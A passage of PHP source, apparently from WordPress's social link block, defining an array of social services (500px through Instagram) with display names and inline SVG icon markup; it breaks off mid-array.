		return $services[ $service ]['name'];
	}

	return $services['share']['name'];
}

/**
 * Returns the SVG for social link.
 *
 * @param string $service The service slug to extract data from.
 * @param string $field The field ('name', 'icon', etc) to extract for a service.
 *
 * @return array|string
 */
function block_core_social_link_services( $service = '', $field = '' ) {
	$services_data = array(
		'fivehundredpx' => array(
			'name' => '500px',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>',
		),
		'amazon'        => array(
			'name' => 'Amazon',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>',
		),
		'bandcamp'      => array(
			'name' => 'Bandcamp',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>',
		),
		'behance'       => array(
			'name' => 'Behance',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>',
		),
		'chain'         => array(
			'name' => 'Link',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.6,7.2H14v1.5h1.6c2,0,3.7,1.7,3.7,3.7s-1.7,3.7-3.7,3.7H14v1.5h1.6c2.8,0,5.2-2.3,5.2-5.2,0-2.9-2.3-5.2-5.2-5.2zM4.7,12.4c0-2,1.7-3.7,3.7-3.7H10V7.2H8.4c-2.9,0-5.2,2.3-5.2,5.2,0,2.9,2.3,5.2,5.2,5.2H10v-1.5H8.4c-2,0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"></path></svg>',
		),
		'codepen'       => array(
			'name' => 'CodePen',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>',
		),
		'deviantart'    => array(
			'name' => 'DeviantArt',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>',
		),
		'dribbble'      => array(
			'name' => 'Dribbble',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>',
		),
		'dropbox'       => array(
			'name' => 'Dropbox',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>',
		),
		'etsy'          => array(
			'name' => 'Etsy',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>',
		),
		'facebook'      => array(
			'name' => 'Facebook',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>',
		),
		'feed'          => array(
			'name' => 'RSS Feed',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>',
		),
		'flickr'        => array(
			'name' => 'Flickr',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>',
		),
		'foursquare'    => array(
			'name' => 'Foursquare',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>',
		),
		'goodreads'     => array(
			'name' => 'Goodreads',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z M13.8,14.1c0.5-0.3,0.9-0.7,1.3-1.1c0.3-0.5,0.6-1,0.8-1.6c0.2-0.6,0.3-1.2,0.3-1.9 c0-0.6-0.1-1.2-0.2-1.9c-0.1-0.6-0.4-1.2-0.7-1.7c-0.3-0.5-0.7-0.9-1.3-1.2c-0.5-0.3-1.1-0.5-1.9-0.5s-1.4,0.2-1.9,0.5 c-0.5,0.3-1,0.7-1.3,1.2C8.5,6.4,8.3,7,8.1,7.6C8,8.2,7.9,8.9,7.9,9.5c0,0.6,0.1,1.3,0.2,1.9C8.3,12,8.6,12.5,8.9,13 c0.3,0.5,0.8,0.8,1.3,1.1c0.5,0.3,1.1,0.4,1.9,0.4C12.7,14.5,13.3,14.4,13.8,14.1z"></path></svg>',
		),
		'google'        => array(
			'name' => 'Google',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z"></path></svg>',
		),
		'github'        => array(
			'name' => 'GitHub',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z"></path></svg>',
		),
		'gravatar'      => array(
			'name' => 'Gravatar',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z" /></svg>',
		),
		'instagram'     => array(
			'name' => 'Instagram',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg>',
		),
		'lastfm'        => array(
			'name' => 'Last.fm',
